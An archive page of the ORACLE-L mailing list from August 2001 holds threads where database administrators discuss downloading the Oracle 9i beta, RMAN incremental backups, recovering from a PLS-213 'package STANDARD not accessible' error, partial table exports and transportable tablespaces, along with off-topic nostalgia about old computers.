 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Mohan, Ross
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Vadim Gorbounov
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Mohan, Ross
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

RE: Oracle Beta

2001-08-02 Thread Gogala, Mladen

They do have Code Red for NT and  you don't even have to download it
yourself

 -Original Message-
 From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
 Sent: Thursday, August 02, 2001 3:04 PM
 To: Multiple recipients of list ORACLE-L
 Subject: RE: Oracle Beta
 
 
 I checked OTN and they have a download for 9i on NT but 
 its the Lite version.
 
 Ken Janusz, CPIM
  to be quite honest I can't be sure what it is.  When I hit 
 the link in the
  email it opens up, but before I hit it I have to be logged 
 on as a user with
  privelages to get to it.  I am pretty sure that if you just 
 go to OTN there
  is a link for a sun download?
  KK
  
  -Original Message-
  Dandekar
  Sent: Thursday, August 02, 2001 1:11 PM
  To: Multiple recipients of list ORACLE-L
  
  
  What is it? I mean the URL to 9i Beta for Windows.
  No Sun of Mine (no test sun machine available right now..)
  
  -Rahul
  - Original Message -
  To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
  Sent: Thursday, August 02, 2001 12:16 PM
  
  
   Yes I am replying to my own email, nevermind, I found it:)
   KK
  
   -Original Message-
   Kostyszyn
   Sent: Thursday, August 02, 2001 11:11 AM
   To: Multiple recipients of list ORACLE-L
  
  
   Hi all,
   Does anyone know the URL for the Oracle 9i Beta program.  
 I need to
   download the NT version of 9i.
   Thanks in advance:)
  
   Sincerely,
   Kevin Kostyszyn
   DBA
   Dulcian, Inc
   www.dulcian.com
   [EMAIL PROTECTED]
  
   --
   Please see the official ORACLE-L FAQ: http://www.orafaq.com
   --
   Author: Kevin Kostyszyn
 INET: [EMAIL PROTECTED]
  
   Fat City Network Services-- (858) 538-5051  FAX: 
 (858) 538-5051
   San Diego, California-- Public Internet access / 
 Mailing Lists
   
 
   To REMOVE yourself from this mailing list, send an E-Mail message
   to: [EMAIL PROTECTED] (note EXACT spelling of 
 'ListGuru') and in
   the message BODY, include a line containing: UNSUB ORACLE-L
   (or the name of mailing list you want to be removed 
 from).  You may
   also send the HELP command for other information (like 
 subscribing).
   --
   Please see the official ORACLE-L FAQ: http://www.orafaq.com
   --
   Author: Kevin Kostyszyn
 INET: [EMAIL PROTECTED]
  
   Fat City Network Services-- (858) 538-5051  FAX: 
 (858) 538-5051
   San Diego, California-- Public Internet access / 
 Mailing Lists
   
 
   To REMOVE yourself from this mailing list, send an E-Mail message
   to: [EMAIL PROTECTED] (note EXACT spelling of 
 'ListGuru') and in
   the message BODY, include a line containing: UNSUB ORACLE-L
   (or the name of mailing list you want to be removed 
 from).  You may
   also send the HELP command for other information (like 
 subscribing).
  
  --
  Please see the official ORACLE-L FAQ: http://www.orafaq.com
  --
  Author: Rahul Dandekar
INET: [EMAIL PROTECTED]
  
  Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
  San Diego, California-- Public Internet access / 
 Mailing Lists
  
  To REMOVE yourself from this mailing list, send an E-Mail message
  to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
  the message BODY, include a line containing: UNSUB ORACLE-L
  (or the name of mailing list you want to be removed from).  You may
  also send the HELP command for other information (like subscribing).
  
  -- 
  Please see the official ORACLE-L FAQ: http://www.orafaq.com
  -- 
  Author: Kevin Kostyszyn
INET: [EMAIL PROTECTED]
  
  Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
  San Diego, California-- Public Internet access / 
 Mailing Lists
  
  To REMOVE yourself from this mailing list, send an E-Mail message
  to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
  the message BODY, include a line containing: UNSUB ORACLE-L
  (or the name of mailing list you want to be removed from).  You may
  also send the HELP command for other information (like subscribing).
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: 
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
-- 
Please see the official ORACLE-L FAQ: 

RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread JOE TESTA



Ivan, if you get the opportunity to attend an IOUG(my preferred one) or an 
openworld event, there is usually a gettogther of the people from the list, so 
you can place faces/w email addys :)

check with the Goddess(AKA rachel), she's usually at both :)

joe
 [EMAIL PROTECTED] 08/02/01 12:35PM 

I have to agree with Kevin, this thread is great. However it 
makes me feel like I really am in the wrong profession, at the wrong time in the 
wrong place :( . 
In 1981 I was 5 years old and I've never really touched a 
computer until about 3 years ago, let alone know any of the answers to any of 
those questions.
You guys are great! I have learned so much from this list. 
Not only the technical stuff but learning about the IT and dba culture from you 
all is invaluable! I went to school for psych, so some of this old school 
talk that us young ones would hear from college cis professors I unfortunately 
never received, much less the knowledge of that curriculum.
I am speechless when I step back and look at this list and 
realize how diverse this list really is. I mean we have list members from 
so many parts of the world and from so many different walks of life. Who 
would have ever thought that this young Puerto Rican punk from the 'hood would 
have anything in common with you all? 
I can see us all now at a bar after an oracle event, me in my 
baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. 
Everyone enjoying and sharing a common bond (dba, oracle) that brings us all 
together. Most of you all's peers wouldn't even look our way or have two 
words for me and my friends in our natural environment. But I think I'd feel 
just as comfortable around you all as I do at a block party in Bed-Stuy or 
chilling with some of my friends in Liberty City, Miami.
All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD 
LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire 
and respect you all). Thanks for everything. Ivan 



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Gogala, Mladen

With RSX and KED? May be some good, old VT100 and VT220? Oh, that makes me
nostalgic! 

 -Original Message-
 From: April Wells [mailto:[EMAIL PROTECTED]]
 Sent: Thursday, August 02, 2001 3:35 PM
 To: Multiple recipients of list ORACLE-L
 Subject: RE: OT -- suggestions to ensure nerdiness in 
 potential IT staff
 
 
 my last company still used pdp-11s
 
 -Original Message-
 Sent: Thursday, August 02, 2001 1:28 PM
 To: Multiple recipients of list ORACLE-L
 
 
 It was a magical box to a middle-aged me as well and looked 
 much better than
 my ugly metallic Kaypro.
 
 -Original Message-
 Sent: Thursday, August 02, 2001 11:42 AM
 To: Multiple recipients of list ORACLE-L
 
 
 yeah, my father still try's to impress me with stories of 
 punch cards and
 such.  It's pretty funny.  The oldest computer I know of and 
 still have is a
 compaq portable computer.  It has the old 5 1/4 floppy 
 drives and a
 little tiny screen.  It's basically a suitcase, weighs about 
 40 pounds, the
 bottom is the keyboard.  Kinda cool, I remember playing games 
 on it as a kid
 and thinking it was the most amazing thing.  Now it makes a 
 good foot rest,
 but that's about it:)
 kk
 
 -Original Message-
 Sent: Thursday, August 02, 2001 10:52 AM
 To: Multiple recipients of list ORACLE-L
 
 
 And just think about the PC being an advanced system for some of us.
 
 Wait until we again start talking about using paper tapes and 
 having to use
 scotch tape to put them back together to run them through.  
 Or even the
 older guys that talk about switch boards.  I am not as old as 
 them.  My
 computer days just go back to the mid 70's.
 
 
  I love this stuff(being a nerd wannabe), but I don't have a
  frickin clue
  what any of you are talking about:)
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Page, Bruce
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Norwood Bradly A
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
 
 
 The information contained in this e-mail is strictly 
 confidential and for the intended use of the addressee only; 
 it may also be legally privileged and/or price sensitive.  
 Notice is hereby given that any disclosure, use or copying of 
 the information by anyone other than the intended recipient 
 is prohibited and may be illegal.  If you have received this 
 message in error, please notify the sender immediately by 
 return e-mail.
 
 Corporate Systems, Inc. has taken every reasonable precaution 
 to ensure that any attachment to this e-mail has been swept 
 for viruses.  We accept no liability for any damage sustained 
 as a result of software viruses and advise you carry out your 
 own virus checks before opening any attachment.
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: April Wells
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') 

Re: OT RE: Dangerous AIX Bug - Gene's afraid of RMAN

2001-08-02 Thread Ruth Gramolini

I use RMAN to do incremental backups every day.  It works great!

Have a little faith,
Ruth
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:11 PM


Lisa - I don't think there is enough beer for me to trust RMAN to do
incremental backups :-).  I just need sleep, puppies are a lot of work, but
worth it!

 Koivu, Lisa [EMAIL PROTECTED] 07/30/01 08:19AM 
Gene, just do it.  Incremental backups in rman are going to help you backup
a 1tb database.  Promise.  Just try it, you'll like it.  If not I'll owe you
a bunch of beer.

Lisa

 -Original Message-
 From: Gene Sais [SMTP:[EMAIL PROTECTED]]
 Sent: Friday, July 27, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L
 Subject: OT RE: Dangerous AIX Bug!

 Yeah, I had to drop off the informix list for the AIX list.  Good choice I
 think.  Actually this post might be a good one for the AIX'ers.  Seems
 like a lot of ppl are switching to AIX, h, maybe buy some IBM stock
 :).  I just wish I had an EMC sym rather than this shark stuck in Raid-5.
 I need BCV's to back up a 1TB db.  Not sure if the shark flashcopy will do
 the trick.  Anyone on this list use flashcopy?

 Gene

  [EMAIL PROTECTED] 07/26/01 06:51PM 
 Gene, you're a busy man. Just saw you
 on the AIX list. I'll lurk there
 for a while before creating havoc.

 ;-)

 thanks

 -Original Message-
 Sent: Thursday, July 26, 2001 6:39 PM
 To: Multiple recipients of list ORACLE-L


 Nice link. Thanks!

  [EMAIL PROTECTED] 07/26/01 05:51PM 
 Ross,

   Check this link. You may find it useful.

 http://home.earthlink.net/~bhami/rosetta.html

 Regards,
 Denny

 Mohan, Ross wrote:
 
  :)
 
  My biggest concern is porting db's
  from other unix flavors...i wish there
  were a cross platfrom shell porting
  guide.
 
  Sure, ls is ls, but every mfgr
  changes the order/formatting of
  the flags and/or output.
 
  I am compiling responses and will post
  a summary. I have some good stuff so
  far
 
  hth
 
  Ross
 
  p.s. I wish i could get some (mostly)
  grass fed beef! ;-)

 _
 Do You Yahoo!?
 Get your free @yahoo.com address at http://mail.yahoo.com

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Denny Koovakattu
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Gene Sais
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Mohan, Ross
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Gene Sais
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Gene Sais
  INET: [EMAIL PROTECTED]


RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Norwood Bradly A
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff



Thanks, Ivan.
Most 
of us are probably from some 'hood. Mine was the barrio of East L.A. as a 
first generation Mexican-American.
The 
great equalizersare self-education, self-esteem and 
self-motivation.
When 
you are famous like Rachel or Steve Adams, we expect free autographs on your 
books.

-Original Message-From: [EMAIL PROTECTED] 
[mailto:[EMAIL PROTECTED]]Sent: Thursday, August 02, 2001 
11:36 AMTo: Multiple recipients of list ORACLE-LSubject: 
RE: OT -- suggestions to ensure nerdiness in potential IT 
staff
I have to agree with Kevin, this thread is great. However it 
makes me feel like I really am in the wrong profession, at the wrong time in the 
wrong place :( . 
In 1981 I was 5 years old and I've never really touched a 
computer until about 3 years ago, let alone know any of the answers to any of 
those questions.
You guys are great! I have learned so much from this list. 
Not only the technical stuff but learning about the IT and dba culture from you 
all is invaluable! I went to school for psych, so some of this old school 
talk that us young ones would hear from college cis professors I unfortunately 
never received, much less the knowledge of that curriculum.
I am speechless when I step back and look at this list and 
realize how diverse this list really is. I mean we have list members from 
so many parts of the world and from so many different walks of life. Who 
would have ever thought that this young Puerto Rican punk from the 'hood would 
have anything in common with you all? 
I can see us all now at a bar after an oracle event, me in my 
baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. 
Everyone enjoying and sharing a common bond (dba, oracle) that brings us all 
together. Most of you all's peers wouldn't even look our way or have two 
words for me and my friends in our natural environment. But I think I'd feel 
just as comfortable around you all as I do at a block party in Bed-Stuy or 
chilling with some of my friends in Liberty City, Miami.
All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD 
LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire 
and respect you all). Thanks for everything. Ivan 



RV: Ever seen any of these errors?

2001-08-02 Thread Natalia Laracca

hi;

error:   ORA-06553 : PLS-213 : package STANDARD not accessible.
I believe that you must connect as  sys to do
SELECT * FROM DBA_OBJECTS WHERE OWNER = 'SYS' AND
OBJECT_NAME = 'STANDARD';
If you to find the status is INVALID and I believe that you try to
recompile it by use command
ALTER PACKAGE STANDARD COMPILE;



- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:10 PM


 Good point but no.  I'm the only one who can get into this server, the
last
 time I ran anything like this was when I built it in September.  H, I
 just checked the test environment, which is a clone, everything there is
 owned by sys.

 Thanks!

 Linda

 -Original Message-
 Sent: Wednesday, August 01, 2001 10:55 PM
 To: Multiple recipients of list ORACLE-L


 Any chance catalog or catproc was run by someone not logged in a sys?

 Ian MacGregor
 Stanford Linear Accelerator Center
 [EMAIL PROTECTED]

 -Original Message-
 Sent: Wednesday, August 01, 2001 1:52 PM
 To: Multiple recipients of list ORACLE-L


 Our Financials production database server crashed last week.  When it came
 back up Oracle seemed to come up with no errors, everything connected
 properly, etc.  That evening the SA rebooted the machine to turn on
 diagnostics for Sun.  Oracle shutdown normally but after it came back up I
 started getting paged that some of the Financials processes weren't
working.
 I tried to start them and failed so I began poking around.  When I logged
 into SQL*Plus I got errors.  Unfortunately I didn't start writing things
 down until I had it 90% fixed :-{ but I *think* this was the order.  I
 backed up before and after.  Then, after each step, I recompiled any
invalid
 objects in the database.  I ran sqlplus /nolog, then connect internal,
both
 for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.

 1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
 Error accessing package DBMS_APPLICATION_INFO
 I checked for invalid objects, one _next_object (which appears to be a
bug)
 and a Financials package that is always invalid.
 2) OK, let's try to recreate STANDARD.  Ran the script, no errors
 SQL*Plus is still complaining.
 3) Somewhere along the line I saw references to catalog and catproc on
 Metalink.  After some more searching, I decided I didn't have anything to
 lose.  Ran catalog without errors.  Catproc had errors in a number of
 places.  I got dbms_output errors:
 create or replace package dbms_output as
 *
 ERROR at line 1:
 ORA-00604: error occurred at recursive SQL level 1
 ORA-1: unique constraint (SYS.I_OBJ2) violated
 H, it's doing 'create or replace', something's fishy
 Got a 'ORA-00921: unexpected end of SQL command' when it was running
 catqueue.sql.
 Got the errors:
 create or replace type sys.aq$_dummy_t as object (data char(1));
 *
 ERROR at line 1:
 ORA-6545: PL/SQL: compilation error - compilation aborted
 ORA-06550: line 2, column 1:
 PLS-00103: Encountered the symbol GRANT
 ORA-06550: line 0, column 0:
 PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
 (object type)
 These were the only error messages (other than dropping non-existant
indexes
 and those type of messages).
 4) I reran catproc, now the STANDARD errors are gone in SQL*Plus!  But,
when
 I logged in then I got:
 PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
 and
 Use of Oracle SQL feature not in SQL92 Entry Level
 5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
 error.
 6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
 / on the second line to fix the sys.aq$_dummy_t error messages
 7) Reran catproc again (I actually ran it twice, once after each script I
 changed).  Finally, no errors, including the DBMS_OUTPUT.DISABLE!
 8) Logged into SQL*Plus with no errors!

 Whew!  So what could have caused the problems to begin with?  There were
no
 errors in the alert log.  I ran dbv on all the datafiles, everything was
 clean.  The server crashed because of a bad processor, not because of a
bad
 disk (that was the development box on Sunday :-} ).  No core dumps.  I
 especially love the unique constraint violation on sys.i_obj2

 I count myself lucky, I didn't have to call Support, we didn't have
problems
 until after the reboot at 8:30 pm instead of during the middle of the day,
 and it's been a week without any other problems.

 Thanks!

 Linda
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Seley, Linda
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 

Re: part of the table export (incremental?)

2001-08-02 Thread JOE TESTA



and the incremental/cmulative options in export are only there 
for backwards compatibility w/scripts, my understanding is they are not really 
supported anymore.

joe

 [EMAIL PROTECTED] 08/02/01 10:30AM 
if you are running 8i, you can use a where clause on the 
export.incremental export does not export only the changed rows but will 
export the entire table if even as little as one byte in one row has 
changed.From: "Tatireddy, Shrinivas (MED, Keane)" 
[EMAIL PROTECTED]Reply-To: 
[EMAIL PROTECTED]To: Multiple recipients of list ORACLE-L 
[EMAIL PROTECTED]Subject: part of the table export 
(incremental?)Date: Thu, 02 Aug 2001 02:05:26 -0800Hi 
dba'scan anybody tell me how to do export part of the 
table..i.e. incremental data.when i exported at 
10 am it has 1000 rows ( i did full exp)100 rows newly added in 
the 2 hrswhen i do exported at 12 am ( incremental) it exporting 
all therows(1100) of the tablebut i need only the rows, 
that are newly inserted.is there any way to do such 
export?thnx in 
advsrinivas--Please see the official ORACLE-L 
FAQ: http://www.orafaq.com--Author: 
Tatireddy, Shrinivas (MED, Keane) INET: 
[EMAIL PROTECTED]Fat City Network 
Services -- (858) 538-5051 FAX: (858) 
538-5051San Diego, California 
-- Public Internet access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe 
message BODY, include a line containing: UNSUB ORACLE-L(or the name of 
mailing list you want to be removed from). You mayalso send the 
HELP command for other information (like 
subscribing)._Get 
your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Rachel 
Carmichael INET: [EMAIL PROTECTED]Fat City Network 
Services -- (858) 538-5051 FAX: (858) 538-5051San 
Diego, California -- Public Internet 
access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).


RE: transportable tablespaces

2001-08-02 Thread JOE TESTA



Matt, 8i admin guide, search for transport, in that chapter is limitations, 
they are all listed there.

joe
 [EMAIL PROTECTED] 08/02/01 09:21AM 

Rachel,   Which doc did you find that in? 
Matt 
 Matt Adams - GE Appliances - 
[EMAIL PROTECTED] Doing linear scans over an 
associative array is like  trying to club someone 
to death with a loaded Uzi.  
- Larry Wall (creator of Perl) 
 -Original Message-  
href="mailto:[EMAIL PROTECTED]">mailto:[EMAIL PROTECTED]] 
 Sent: Wednesday, August 01, 2001 5:39 PM  To: Multiple recipients of list ORACLE-L  Subject: Re: transportable tablespaces  
  According to the docs 
you must be on the same OS, down to  patches, and 
the  same version of Oracle, again down to 
patches.   Rachel 
   
From: "Adams, Matthew (GEA, 088130)" [EMAIL PROTECTED] 
 Reply-To: [EMAIL PROTECTED]  To: Multiple recipients of list ORACLE-L 
[EMAIL PROTECTED]  Subject: 
transportable tablespaces  Date: Wed, 01 Aug 
2001 12:41:38 -0800do transportable tablespaces work between different 
 OSes? I wouldn't think so, but I thought I'd 
ask.
  Matt Adams - GE Appliances - 
[EMAIL PROTECTED]  Doing linear scans over 
an associative array is like   
trying to club someone to death with a loaded Uzi.  
 
- Larry Wall (creator of Perl)
_ 
 Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp 

-- Please see the official ORACLE-L FAQ: 
http://www.orafaq.com 
-- Author: Rachel Carmichael 
 INET: [EMAIL PROTECTED] 
Fat City Network Services -- (858) 
538-5051 FAX: (858) 538-5051 San Diego, 
California -- Public Internet access / 
Mailing Lists  
To REMOVE yourself from this mailing list, send an E-Mail 
message to: [EMAIL PROTECTED] (note EXACT spelling of 
'ListGuru') and in the message BODY, include a line 
containing: UNSUB ORACLE-L (or the name of mailing list 
you want to be removed from). You may also send 
the HELP command for other information (like subscribing). 



RE: Ever seen any of these errors?

2001-08-02 Thread Seley, Linda

STANDARD was not invalid (there were only two things invalid, both
'acceptable').  When I tried to compile STANDARD (actually I recreated it
altogether) it wored without errors but I still got the error when logging
into SQL*Plus.  This whole thing was just really odd!

Linda

-Original Message-
Sent: Thursday, August 02, 2001 10:26 AM
To: Multiple recipients of list ORACLE-L


hi;

error:   ORA-06553 : PLS-213 : package STANDARD not accessible.
I believe that you must connect as  sys to do
SELECT * FROM DBA_OBJECTS WHERE OWNER = 'SYS' AND
OBJECT_NAME = 'STANDARD';
If you to find the status is INVALID and I believe that you try to
recompile it by use command
ALTER PACKAGE STANDARD COMPILE;



- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:10 PM


 Good point but no.  I'm the only one who can get into this server, the
last
 time I ran anything like this was when I built it in September.  H, I
 just checked the test environment, which is a clone, everything there is
 owned by sys.

 Thanks!

 Linda

 -Original Message-
 Sent: Wednesday, August 01, 2001 10:55 PM
 To: Multiple recipients of list ORACLE-L


 Any chance catalog or catproc was run by someone not logged in a sys?

 Ian MacGregor
 Stanford Linear Accelerator Center
 [EMAIL PROTECTED]

 -Original Message-
 Sent: Wednesday, August 01, 2001 1:52 PM
 To: Multiple recipients of list ORACLE-L


 Our Financials production database server crashed last week.  When it came
 back up Oracle seemed to come up with no errors, everything connected
 properly, etc.  That evening the SA rebooted the machine to turn on
 diagnostics for Sun.  Oracle shutdown normally but after it came back up I
 started getting paged that some of the Financials processes weren't
working.
 I tried to start them and failed so I began poking around.  When I logged
 into SQL*Plus I got errors.  Unfortunately I didn't start writing things
 down until I had it 90% fixed :-{ but I *think* this was the order.  I
 backed up before and after.  Then, after each step, I recompiled any
invalid
 objects in the database.  I ran sqlplus /nolog, then connect internal,
both
 for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.

 1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
 Error accessing package DBMS_APPLICATION_INFO
 I checked for invalid objects, one _next_object (which appears to be a
bug)
 and a Financials package that is always invalid.
 2) OK, let's try to recreate STANDARD.  Ran the script, no errors
 SQL*Plus is still complaining.
 3) Somewhere along the line I saw references to catalog and catproc on
 Metalink.  After some more searching, I decided I didn't have anything to
 lose.  Ran catalog without errors.  Catproc had errors in a number of
 places.  I got dbms_output errors:
 create or replace package dbms_output as
 *
 ERROR at line 1:
 ORA-00604: error occurred at recursive SQL level 1
 ORA-1: unique constraint (SYS.I_OBJ2) violated
 H, it's doing 'create or replace', something's fishy
 Got a 'ORA-00921: unexpected end of SQL command' when it was running
 catqueue.sql.
 Got the errors:
 create or replace type sys.aq$_dummy_t as object (data char(1));
 *
 ERROR at line 1:
 ORA-6545: PL/SQL: compilation error - compilation aborted
 ORA-06550: line 2, column 1:
 PLS-00103: Encountered the symbol GRANT
 ORA-06550: line 0, column 0:
 PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
 (object type)
 These were the only error messages (other than dropping non-existant
indexes
 and those type of messages).
 4) I reran catproc, now the STANDARD errors are gone in SQL*Plus!  But,
when
 I logged in then I got:
 PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
 and
 Use of Oracle SQL feature not in SQL92 Entry Level
 5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
 error.
 6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
 / on the second line to fix the sys.aq$_dummy_t error messages
 7) Reran catproc again (I actually ran it twice, once after each script I
 changed).  Finally, no errors, including the DBMS_OUTPUT.DISABLE!
 8) Logged into SQL*Plus with no errors!

 Whew!  So what could have caused the problems to begin with?  There were
no
 errors in the alert log.  I ran dbv on all the datafiles, everything was
 clean.  The server crashed because of a bad processor, not because of a
bad
 disk (that was the development box on Sunday :-} ).  No core dumps.  I
 especially love the unique constraint violation on sys.i_obj2

